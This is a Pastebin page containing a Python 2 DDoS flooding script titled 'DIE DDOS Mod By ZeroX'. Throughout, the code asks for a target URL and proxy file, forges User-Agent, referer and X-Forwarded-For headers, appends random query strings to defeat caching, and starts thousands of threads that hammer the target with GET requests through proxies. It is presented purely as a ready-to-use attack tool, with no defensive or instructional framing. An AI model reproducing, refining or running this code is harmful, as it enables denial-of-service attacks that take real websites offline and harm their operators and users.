Advertisement
TP2K1

code mod By ZeroX

Jun 30th, 2015
19,105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.78 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #coding: utf-8
  3. #..:: > proxy ddos < ::..
  4. import random
  5. import socket
  6. import threading
  7. import time
  8. import datetime
  9. import urllib2
  10. import urllib
  11. import re
  12. import sys
  13. import optparse
  14. import os
  15. import urlparse
  16.  
  17. url=''
  18. host=''
  19. headers_useragents=[]
  20. headers_referers=[]
  21. keyword_top=[]
  22. request_counter=0
  23. flag=0
  24. safe=0
  25. def inc_counter():
  26. global request_counter
  27. request_counter+=1
  28.  
  29. def set_flag(val):
  30. global flag
  31. flag=val
  32.  
  33. def set_safe():
  34. global safe
  35. safe=1
  36.  
  37. def getUserAgent():
  38. platform = random.choice(['Macintosh', 'Windows', 'X11'])
  39. if platform == 'Macintosh':
  40. os = random.choice(['68K', 'PPC'])
  41. elif platform == 'Windows':
  42. os = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8'])
  43. elif platform == 'X11':
  44. os = random.choice(['Linux i686', 'Linux x86_64'])
  45. browser = random.choice(['chrome', 'firefox', 'ie'])
  46. if browser == 'chrome':
  47. webkit = str(random.randint(500, 599))
  48. version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
  49. return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
  50. elif browser == 'firefox':
  51. currentYear = datetime.date.today().year
  52. year = str(random.randint(2000, currentYear))
  53. month = random.randint(1, 12)
  54. if month < 10:
  55. month = '0' + str(month)
  56. else:
  57. month = str(month)
  58. day = random.randint(1, 30)
  59. if day < 10:
  60. day = '0' + str(day)
  61. else:
  62. day = str(day)
  63. gecko = year + month + day
  64. version = str(random.randint(1, 21)) + '.0'
  65. return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
  66. elif browser == 'ie':
  67. version = str(random.randint(1, 10)) + '.0'
  68. engine = str(random.randint(1, 5)) + '.0'
  69. option = random.choice([True, False])
  70. if option == True:
  71. token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
  72. else:
  73. token = ''
  74. return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
  75.  
  76. # generates a referer array
  77. def referer_list():
  78. global headers_referers
  79. headers_referers.append('http://www.google.com/?q=')
  80. headers_referers.append('http://www.usatoday.com/search/results?q=')
  81. headers_referers.append('http://engadget.search.aol.com/search?q=')
  82. headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=')
  83. headers_referers.append('https://www.facebook.com/l.php?u=')
  84. headers_referers.append('https://plus.google.com/share?url=')
  85. headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  86. headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
  87. headers_referers.append('http://host-tracker.com/check_page/?furl=')
  88. headers_referers.append('http://www.google.com/translate?u=')
  89. headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
  90. headers_referers.append('http://www.onlinewebcheck.com/?url=')
  91. headers_referers.append('https://images2-focus-opensocial.googleusercontent.com/gadgets/proxy?container=focus&url=')
  92. headers_referers.append('http://www.facebook.com/l.php?u=http://www.facebook.com/l.php?u=')
  93. headers_referers.append('http://www.facebook.com/l.php?u=')
  94.  
  95. def keyword_list():
  96. global keyword_top
  97. keyword_top.append('Sex')
  98. keyword_top.append('Robin Williams')
  99. keyword_top.append('World Cup')
  100. keyword_top.append('Ca Si Le Roi')
  101. keyword_top.append('Ebola')
  102. keyword_top.append('Malaysia Airlines Flight 370')
  103. keyword_top.append('ALS Ice Bucket Challenge')
  104. keyword_top.append('Flappy Bird')
  105. keyword_top.append('Conchita Wurst')
  106. keyword_top.append('ISIS')
  107. keyword_top.append('Frozen')
  108. keyword_top.append('014 Sochi Winter Olympics')
  109. keyword_top.append('IPhone')
  110. keyword_top.append('Samsung Galaxy S5')
  111. keyword_top.append('Nexus 6')
  112. keyword_top.append('Moto G')
  113. keyword_top.append('Samsung Note 4')
  114. keyword_top.append('LG G3')
  115. keyword_top.append('Xbox One')
  116. keyword_top.append('Apple Watch')
  117. keyword_top.append('Nokia X')
  118. keyword_top.append('Ipad Air')
  119. keyword_top.append('Facebook')
  120. keyword_top.append('Anonymous')
  121. keyword_top.append('DJ Bach')
  122.  
  123. headers_referers.append('http://' + host + '/')
  124. return(headers_referers)
  125.  
  126. #builds random ascii string
  127. def buildblock(size):
  128. out_str = ''
  129. for i in range(0, size):
  130. a = random.randint(65, 90)
  131. out_str += chr(a)
  132. return(out_str)
  133.  
  134. def httpcall(url):
  135. referer_list()
  136. code=0
  137. if url.count("?")>0:
  138. param_joiner = "&"
  139. else:
  140. param_joiner="?"
  141. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  142. request.add_header('User-Agent', random.choice(headers_useragents))
  143. request.add_header('Cache-Control', 'no-cache')
  144. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  145. request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  146. request.add_header('Keep-Alive', random.randint(110,120))
  147. request.add_header('Connection', 'keep-alive')
  148. request.add_header('Host',host)
  149.  
  150. index = random.randint(0,len(listaproxy)-1)
  151. proxy = urllib2.ProxyHandler({'http':listaproxy[index]})
  152. opener = urllib2.build_opener(proxy,urllib2.HTTPHandler)
  153. urllib2.install_opener(opener)
  154. try:
  155. urllib2.urlopen(request)
  156. if(flag==1): set_flag(0)
  157. if(code==500): code=0
  158. except urllib2.HTTPError, e:
  159. set_flag(1)
  160. code=500
  161. time.sleep(60)
  162. except urllib2.URLError, e:
  163. sys.exit()
  164. else:
  165. inc_counter()
  166. urllib2.urlopen(request)
  167. return(code)
  168.  
  169. class HTTPThread(threading.Thread):
  170. def run(self):
  171. try:
  172. while flag<2:
  173. code=httpcall(url)
  174. if (code==500) & (safe==1):
  175. set_flag(2)
  176. except Exception, ex:
  177. pass
  178.  
  179. class MonitorThread(threading.Thread):
  180. def run(self):
  181. previous=request_counter
  182. while flag==0:
  183. if (previous+100<request_counter) & (previous<>request_counter):
  184. previous=request_counter
  185. if flag==2:
  186. print ''
  187.  
  188. #DIE By TrungPham
  189. def randomIp():
  190. random.seed()
  191. result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  192. result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  193. return result
  194.  
  195. def randomIpList():
  196. random.seed()
  197. res = ""
  198. for ip in xrange(random.randint(8, 10)):
  199. res = res + randomIp() + ", "
  200. return res[0:len(res) - 2]
  201. class attacco(threading.Thread):
  202. def run(self):
  203. referer_list()
  204. current = x
  205.  
  206. if current < len(listaproxy):
  207. proxy = listaproxy[current].split(':')
  208. else:
  209. proxy = random.choice(listaproxy).split(':')
  210.  
  211. useragent = "User-Agent: " + getUserAgent() + "\r\n"
  212. forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
  213. referer = "Referer: "+ random.choice(headers_referers) + url + "?r="+ str(random.randint(1, 1500)) + "\r\n"
  214. httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
  215.  
  216. while nload:
  217. time.sleep(1)
  218. pass
  219.  
  220. while 1:
  221. try:
  222. a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  223. a.connect((proxy[0], int(proxy[1])))
  224. a.send(httprequest)
  225. try:
  226. for i in xrange(4):
  227. a.send(httprequest)
  228. except:
  229. tts = 1
  230.  
  231.  
  232. except:
  233. proxy = random.choice(listaproxy).split(':')
  234.  
  235. #Main
  236. print '\n\t..:: > ZeroX < ::..'
  237. # Site
  238. url = raw_input("WEB: ")
  239. host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
  240. #Proxy
  241. in_file = open(raw_input("IP: "),"r")
  242. proxyf = in_file.read()
  243.  
  244.  
  245. in_file.close()
  246. listaproxy = proxyf.split('\n')
  247. #So luong
  248. thread = input("IP> (4000): ")
  249. get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
  250. accept = "Accept-Encoding: gzip, deflate\r\n"
  251. connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
  252. nload = 1
  253. x = 0
  254. print("\tDIE DDOS Mod By ZeroX")
  255. if url.count("/")==2:
  256. url = url + "/"
  257. m = re.search('http\://([^/]*)/?.*', url)
  258. host = m.group(1)
  259. for x in xrange(int(thread + 1)):
  260. attacco().start()
  261. time.sleep(0.003)
  262. print "===>ALT+F4=>Attack"
  263. for x in xrange(501):
  264. t = HTTPThread()
  265. t.start()
  266. t = MonitorThread()
  267. t.start()
  268. nload = 0
  269. while not nload:
  270. time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement